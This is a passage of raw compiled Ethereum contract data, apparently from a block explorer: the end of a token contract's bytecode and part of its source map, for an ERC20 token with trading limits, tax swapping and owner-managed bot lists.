ffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f59190612d1f565b8160018151811061220957612208612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122d4959493929190613495565b600060405180830381600087803b1580156122ee57600080fd5b505af1158015612302573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561238c573d6000803e3d6000fd5b5050565b60008083036123a25760009050612404565b600082846123b09190612be5565b90508284826123bf919061351e565b146123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f6906135c1565b60405180910390fd5b809150505b92915050565b600061244c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fc565b905092915050565b60008082846124639190613303565b9050838110156124a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249f9061362d565b60405180910390fd5b8091505092915050565b60006124f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612049565b905092915050565b60008083118290612543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253a91906125ef565b60405180910390fd5b5060008385612552919061351e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561259957808201518184015260208101905061257e565b60008484015250505050565b6000601f19601f8301169050919050565b60006125c18261255f565b6125cb818561256a565b93506125db81856020860161257b565b6125e4816125a5565b840191505092915050565b6000602082019050818103600083015261260981846125b6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061265082612625565b9050919050565b61266081612645565b811461266b57600080fd5b50565b60008135905061267d81612657565b92915050565b6000819050919050565b61269681612683565b81146126a157600080fd5b50565b6000813590506126b38161268d565b92915050565b600080604083850312156126d0576126cf61261b565b5b60006126de8582860161266e565b92505060206126ef858286016126a4565b9150509250929050565b60008115159050919050565b61270e816126f9565b82525050565b60006020820190506127296000830184612705565b92915050565b61273881612683565b82525050565b6000602082019050612753600083018461272f565b92915050565b6000806000606084860312156127725761277161261b565b5b60006127808682870161266e565b93505060206127918682870161266e565b92505060406127a2868287016126a4565b9150509250925092565b600060ff82169050919050565b6127c2816127ac565b82525050565b60006020820190506127dd60008301846127b9565b92915050565b6000602082840312156127f9576127f861261b565b5b6000612807848285016126a4565b91505092915050565b6000602082840312156128265761282561261b565b5b60006128348482850161266e565b91505092915050565b61284681612645565b82525050565b6000602082019050612861600083018461283d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128a4826125a5565b810181811067ffffffffffffffff821117156128c3576128c261286c565b5b80604052505050565b60006128d6612611565b90506128e2828261289b565b919050565b600067ffffffffffffffff8211156129025761290161286c565b5b602082029050602081019050919050565b600080fd5b600061292b612926846128e7565b6128cc565b9050808382526020820190506020840283018581111561294e5761294d612913565b5b835b818110156129775780612963888261266e565b845260208401935050602081019050612950565b5050509392505050565b600082601f83011261299657612995612867565b5b81356129a6848260208601612918565b91505092915050565b6000602082840312156129c5576129c461261b565b5b600082013567ffffffffffffffff8111156129e3576129e2612620565b5b6129ef84828501612981565b91505092915050565b60008060408385031215612a0f57612a0e61261b565b5b6000612a1d8582860161266e565b9250506020612a2e8582860161266e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612abe57808604811115612a9a57612a99612a38565b5b6001851615612aa95780820291505b8081029050612ab785612a67565b9450612a7e565b94509492505050565b600082612ad75760019050612b93565b81612ae55760009050612b93565b8160018114612afb5760028114612b0557612b34565b6001915050612b93565b60ff841115612b1757612b16612a38565b5b8360020a915084821115612b2e57612b2d612a38565b5b50612b93565b5060208310610133831016604e8410600b8410161715612b695782820a905083811115612b6457612b63612a38565b5b612b93565b612b768484846001612a74565b92509050818404811115612b8d57612b8c612a38565b5b81810290505b9392505050565b6000612ba582612683565b9150612bb0836127ac565b9250612bdd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ac7565b905092915050565b6000612bf082612683565b9150612bfb83612683565b9250828202612c0981612683565b91508282048414831517612c2057612c1f612a38565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c5d60208361256a565b9150612c6882612c27565b602082019050919050565b60006020820190508181036000830152612c8c81612c50565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ccd82612683565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cff57612cfe612a38565b5b600182019050919050565b600081519050612d1981612657565b92915050565b600060208284031215612d3557612d3461261b565b5b6000612d4384828501612d0a565b91505092915050565b6000604082019050612d61600083018561283d565b612d6e602083018461283d565b9392505050565b6000819050919050565b6000819050919050565b6000612da4612d9f612d9a84612d75565b612d7f565b612683565b9050919050565b612db481612d89565b82525050565b600060c082019050612dcf600083018961283d565b612ddc602083018861272f565b612de96040830187612dab565b612df66060830186612dab565b612e03608083018561283d565b612e1060a083018461272f565b979650505050505050565b600081519050612e2a8161268d565b92915050565b600080600060608486031215612e4957612e4861261b565b5b6000612e5786828701612e1b565b9350506020612e6886828701612e1b565b9250506040612e7986828701612e1b565b9150509250925092565b6000604082019050612e98600083018561283d565b612ea5602083018461272f565b9392505050565b612eb5816126f9565b8114612ec057600080fd5b50565b600081519050612ed281612eac565b92915050565b600060208284031215612eee57612eed61261b565b5b6000612efc84828501612ec3565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f6160248361256a565b9150612f6c82612f05565b604082019050919050565b60006020820190508181036000830152612f9081612f54565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff360228361256a565b9150612ffe82612f97565b604082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061308560258361256a565b915061309082613029565b604082019050919050565b600060208201905081810360008301526130b481613078565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061311760238361256a565b9150613122826130bb565b604082019050919050565b600060208201905081810360008301526131468161310a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131a960298361256a565b91506131b48261314d565b604082019050919050565b600060208201905081810360008301526131d88161319c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061326160498361256a565b915061326c826131df565b606082019050919050565b6000602082019050818103600083015261329081613254565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132cd60198361256a565b91506132d882613297565b602082019050919050565b600060208201905081810360008301526132fc816132c0565b9050919050565b600061330e82612683565b915061331983612683565b925082820190508082111561333157613330612a38565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061336d601a8361256a565b915061337882613337565b602082019050919050565b6000602082019050818103600083015261339c81613360565b9050919050565b60006133ae82612683565b91506133b983612683565b92508282039050818111156133d1576133d0612a38565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340c81612645565b82525050565b600061341e8383613403565b60208301905092915050565b6000602082019050919050565b6000613442826133d7565b61344c81856133e2565b9350613457836133f3565b8060005b8381101561348857815161346f8882613412565b975061347a8361342a565b92505060018101905061345b565b5085935050505092915050565b600060a0820190506134aa600083018861272f565b6134b76020830187612dab565b81810360408301526134c98186613437565b90506134d8606083018561283d565b6134e5608083018461272f565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352982612683565b915061353483612683565b925082613544576135436134ef565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ab60218361256a565b91506135b68261354f565b604082019050919050565b600060208201905081810360008301526135da8161359e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613617601b8361256a565b9150613622826135e1565b602082019050919050565b600060208201905081810360008301526136468161360a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d886af7fc0ba93d36eda95d858dec9cc434cbd01e83f2fb075eaf6231f8ee2364736f6c63430008110033

Deployed Bytecode Sourcemap

3943:9214:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5989:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6827:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5165:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6269:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6997:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6177:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12410:348;;;;;;;;;;;;;:::i;:::-;;10250:360;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6373:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3020:148;;;;;;;;;;;;;:::i;:::-;;10619:196;;;;;;;;;;;;;:::i;:::-;;4977:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2804:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5038:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12161:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11949:203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6081:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6499:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12767:387;;;;;;;;;;;;;:::i;:::-;;5101:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4346:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10925:788;;;;;;;;;;;;;:::i;:::-;;6675:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11722:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5989:83;6026:13;6059:5;;;;;;;;;;;;;;;;;6052:12;;5989:83;:::o;6827:161::-;6902:4;6919:39;6928:12;:10;:12::i;:::-;6942:7;6951:6;6919:8;:39::i;:::-;6976:4;6969:11;;6827:161;;;;:::o;5165:51::-;;;;:::o;6269:95::-;6322:7;4788:1;4843:2;:13;;;;:::i;:::-;4831:9;:25;;;;:::i;:::-;6342:14;;6269:95;:::o;6997:313::-;7095:4;7112:36;7122:6;7130:9;7141:6;7112:9;:36::i;:::-;7159:121;7168:6;7176:12;:10;:12::i;:::-;7190:89;7228:6;7190:89;;;;;;;;;;;;;;;;;:11;:19;7202:6;7190:19;;;;;;;;;;;;;;;:33;7210:12;:10;:12::i;:::-;7190:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7159:8;:121::i;:::-;7298:4;7291:11;;6997:313;;;;;:::o;6177:83::-;6218:5;4788:1;6236:16;;6177:83;:::o;12410:348::-;12474:10;;;;;;;;;;;12460:24;;:12;:10;:12::i;:::-;:24;;;12452:33;;;;;;12496:20;12517:24;12535:4;12517:9;:24::i;:::-;12496:45;;12568:1;12555:12;:14;12552:73;;;12583:30;12600:12;12583:16;:30::i;:::-;12552:73;12635:18;12654:21;12635:40;;12700:1;12689:10;:12;12686:65;;;12715:24;12728:10;12715:12;:24::i;:::-;12686:65;12441:317;;12410:348::o;10250:360::-;10348:15;10342:22;10332:8;10329:36;10319:62;;10378:1;10375;10368:12;10319:62;10408:4;10402:11;10435:8;10430:3;10423:21;10477:12;10470:4;10465:3;10461:14;10454:36;10527:4;10522:3;10512:20;10555:6;10549:4;10542:20;10596:5;10579:15;10572:30;10318:285;;10250:360;:::o;6373:117::-;6439:7;6466;:16;6474:7;6466:16;;;;;;;;;;;;;;;;6459:23;;6373:117;;;:::o;3020:148::-;2942:12;:10;:12::i;:::-;2932:22;;:6;;;;;;;;;;:22;;;2924:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3127:1:::1;3090:40;;3111:6;::::0;::::1;;;;;;;;3090:40;;;;;;;;;;;;3158:1;3141:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3020:148::o:0;10619:196::-;2942:12;:10;:12::i;:::-;2932:22;;:6;;;;;;;;;;:22;;;2924:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4788:1:::1;4843:2;:13;;;;:::i;:::-;4831:9;:25;;;;:::i;:::-;10672:12;:22;;;;4788:1;4843:2;:13;;;;:::i;:::-;4831:9;:25;;;;:::i;:::-;10705:14;:22;;;;10759:5;10738:20;;:26;;;;;;;;;;;;;;;;;;10780:27;4788:1;4843:2;:13;;;;:::i;:::-;4831:9;:25;;;;:::i;:::-;10780:27;;;;;;:::i;:::-;;;;;;;;10619:196::o:0;4977:54::-;;;;:::o;2804:79::-;2842:7;2869:6;;;;;;;;;;;2862:13;;2804:79;:::o;5038:56::-;;;;:::o;12161:202::-;2942:12;:10;:12::i;:::-;2932:22;;:6;;;;;;;;;;:22;;;2924:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12247:9:::1;12242:114;12266:9;:16;12262:1;:20;12242:114;;;12339:5;12304:18;:32;12323:9;12333:1;12323:12;;;;;;;;:::i;:::-;;;;;;;;12304:32;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;12284:3;;;;;:::i;:::-;;;;12242:114;;;;12161:202:::0;:::o;11949:203::-;2942:12;:10;:12::i;:::-;2932:22;;:6;;;;;;;;;;:22;;;2924:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12037:9:::1;12032:113;12056:9;:16;12052:1;:20;12032:113;;;12129:4;12094:18;:32;12113:9;12123:1;12113:12;;;;;;;;:::i;:::-;;;;;;;;12094:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12074:3;;;;;:::i;:::-;;;;12032:113;;;;11949:203:::0;:::o;6081:87::-;6120:13;6153:7;;;;;;;;;;;;;;;;;6146:14;;6081:87;:::o;6499:167::-;6577:4;6594:42;6604:12;:10;:12::i;:::-;6618:9;6629:6;6594:9;:42::i;:::-;6654:4;6647:11;;6499:167;;;;:::o;12767:387::-;12838:10;;;;;;;;;;;12824:24;;:12;:10;:12::i;:::-;:24;;;12816:33;;;;;;12860:20;12881:24;12899:4;12881:9;:24::i;:::-;12860:45;;12920:11;;;;;;;;;;;12919:12;:30;;;;;12948:1;12935:12;:14;12919:30;12916:89;;;12963:30;12980:12;12963:16;:30::i;:::-;12916:89;13015:18;13034:21;13015:40;;13070:11;;;;;;;;;;;13069:12;:28;;;;;13096:1;13085:10;:12;13069:28;13066:81;;;13111:24;13124:10;13111:12;:24::i;:::-;13066:81;12805:349;;12767:387::o;5101:57::-;;;;:::o;4346:39::-;;;;;;;;;;;;;:::o;10925:788::-;10990:10;;;;;;;;;;;10976:24;;:12;:10;:12::i;:::-;:24;;;10968:33;;;;;;11016:11;;;;;;;;;;;11012:639;;11076:42;11039:15;;:80;;;;;;;;;;;;;;;;;;11130:58;11147:4;11162:15;;;;;;;;;;;4788:1;4843:2;:13;;;;:::i;:::-;4831:9;:25;;;;:::i;:::-;11130:8;:58::i;:::-;11233:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11215:55;;;11279:4;11286:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11215:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11199:13;;:110;;;;;;;;;;;;;;;;;;11320:15;;;;;;;;;;;:31;;;11359:21;11390:4;11396:24;11414:4;11396:9;:24::i;:::-;11421:1;11423;11425:7;:5;:7::i;:::-;11433:15;11320:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11467:13;;;;;;;;;;;11460:29;;;11498:15;;;;;;;;;;;11516:14;11460:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11580:4;11542:20;:35;11563:13;;;;;;;;;;;11542:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;11609:4;11595:11;;:18;;;;;;;;;;;;;;;;;;11638:4;11624:11;;:18;;;;;;;;;;;;;;;;;;11643:7;;11012:639;11699:5;11677:20;11670:35;10925:788;:::o;6675:143::-;6756:7;6783:11;:18;6795:5;6783:18;;;;;;;;;;;;;;;:27;6802:7;6783:27;;;;;;;;;;;;;;;;6776:34;;6675:143;;;;:::o;11722:218::-;11797:10;;;;;;;;;;;11783:24;;:12;:10;:12::i;:::-;:24;;;11775:33;;;;;;11834:12;;11825:7;:21;;:47;;;;;11859:13;;11850:7;:22;;11825:47;11817:56;;;;;;11895:7;11882:12;:20;;;;11925:7;11911:13;:21;;;;11722:218;:::o;548:98::-;601:7;628:10;621:17;;548:98;:::o;7319:335::-;7429:1;7412:19;;:5;:19;;;7404:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7510:1;7491:21;;:7;:21;;;7483:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7592:6;7562:11;:18;7574:5;7562:18;;;;;;;;;;;;;;;:27;7581:7;7562:27;;;;;;;;;;;;;;;:36;;;;7630:7;7614:32;;7623:5;7614:32;;;7639:6;7614:32;;;;;;:::i;:::-;;;;;;;;7319:335;;;:::o;7663:1977::-;7767:1;7751:18;;:4;:18;;;7743:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7844:1;7830:16;;:2;:16;;;7822:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7914:1;7905:6;:10;7897:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7972:17;8014:7;:5;:7::i;:::-;8006:15;;:4;:15;;;;:32;;;;;8031:7;:5;:7::i;:::-;8025:13;;:2;:13;;;;8006:32;8002:1175;;;8067:35;8098:3;8067:26;8078:14;;8067:6;:10;;:26;;;;:::i;:::-;:30;;:35;;;;:::i;:::-;8055:47;;8124:20;;;;;;;;;;;8120:508;;;8185:15;;;;;;;;;;;8171:30;;:2;:30;;;;:62;;;;;8219:13;;;;;;;;;;;8205:28;;:2;:28;;;;8171:62;8167:444;;;8369:12;8296:28;:39;8325:9;8296:39;;;;;;;;;;;;;;;;:85;8260:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8577:12;8535:28;:39;8564:9;8535:39;;;;;;;;;;;;;;;:54;;;;8167:444;8120:508;8657:13;;;;;;;;;;;8649:21;;:4;:21;;;:55;;;;;8688:15;;;;;;;;;;;8674:30;;:2;:30;;;;8649:55;:83;;;;;8710:18;:22;8729:2;8710:22;;;;;;;;;;;;;;;;;;;;;;;;;8708:24;8649:83;:114;;;;;8737:20;:26;8758:4;8737:26;;;;;;;;;;;;;;;;;;;;;;;;;8736:27;8649:114;:143;;;;;8768:20;:24;8789:2;8768:24;;;;;;;;;;;;;;;;;;;;;;;;;8767:25;8649:143;8645:373;;;8832:12;;8822:6;:22;;8814:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8927:14;;8917:6;8901:13;8911:2;8901:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8893:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8991:9;;:11;;;;;;;;;:::i;:::-;;;;;;8645:373;9044:13;;;;;;;;;;;9038:19;;:2;:19;;;:43;;;;;9076:4;9061:20;;:4;:20;;;;9038:43;9035:131;;;9114:36;9146:3;9114:27;9125:15;;9114:6;:10;;:27;;;;:::i;:::-;:31;;:36;;;;:::i;:::-;9102:48;;9035:131;8002:1175;9194:18;:22;9213:2;9194:22;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;9220:18;:24;9239:4;9220:24;;;;;;;;;;;;;;;;;;;;;;;;;9194:50;9190:96;;;9273:1;9261:13;;9190:96;9314:1;9302:9;:13;9299:163;;;9354:37;9381:9;9354:7;:22;9370:4;9354:22;;;;;;;;;;;;;;;;:26;;:37;;;;:::i;:::-;9331:7;:22;9347:4;9331:22;;;;;;;;;;;;;;;:60;;;;9434:4;9411:39;;9420:4;9411:39;;;9440:9;9411:39;;;;;;:::i;:::-;;;;;;;;9299:163;9489:25;9507:6;9489:7;:13;9497:4;9489:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;9475:7;:13;9483:4;9475:13;;;;;;;;;;;;;;;:39;;;;9537:38;9553:21;9564:9;9553:6;:10;;:21;;;;:::i;:::-;9537:7;:11;9545:2;9537:11;;;;;;;;;;;;;;;;:15;;:38;;;;:::i;:::-;9525:7;:11;9533:2;9525:11;;;;;;;;;;;;;;;:50;;;;9606:2;9591:41;;9600:4;9591:41;;;9610:21;9621:9;9610:6;:10;;:21;;;;:::i;:::-;9591:41;;;;;;:::i;:::-;;;;;;;;7732:1908;7663:1977;;;:::o;1689:190::-;1775:7;1808:1;1803;:6;;1811:12;1795:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1835:9;1851:1;1847;:5;;;;:::i;:::-;1835:17;;1870:1;1863:8;;;1689:190;;;;;:::o;9759:483::-;5509:4;5500:6;;:13;;;;;;;;;;;;;;;;;;9837:21:::1;9875:1;9861:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9837:40;;9906:4;9888;9893:1;9888:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9932:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9922:4;9927:1;9922:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9965:62;9982:4;9997:15;;;;;;;;;;;10015:11;9965:8;:62::i;:::-;10038:15;;;;;;;;;;;:66;;;10119:11;10145:1;10161:4;10188;10208:15;10038:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9826:416;5545:5:::0;5536:6;;:14;;;;;;;;;;;;;;;;;;9759:483;:::o;10824:92::-;10881:10;;;;;;;;;;;:19;;:27;10901:6;10881:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10824:92;:::o;1888:246::-;1946:7;1975:1;1970;:6;1966:47;;2000:1;1993:8;;;;1966:47;2023:9;2039:1;2035;:5;;;;:::i;:::-;2023:17;;2068:1;2063;2059;:5;;;;:::i;:::-;:10;2051:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2125:1;2118:8;;;1888:246;;;;;:::o;2143:132::-;2201:7;2228:39;2232:1;2235;2228:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2221:46;;2143:132;;;;:::o;1356:179::-;1414:7;1434:9;1450:1;1446;:5;;;;:::i;:::-;1434:17;;1475:1;1470;:6;;1462:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1526:1;1519:8;;;1356:179;;;;:::o;1544:136::-;1602:7;1629:43;1633:1;1636;1629:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1622:50;;1544:136;;;;:::o;2284:189::-;2370:7;2402:1;2398;:5;2405:12;2390:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2429:9;2445:1;2441;:5;;;;:::i;:::-;2429:17;;2464:1;2457:8;;;2284:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1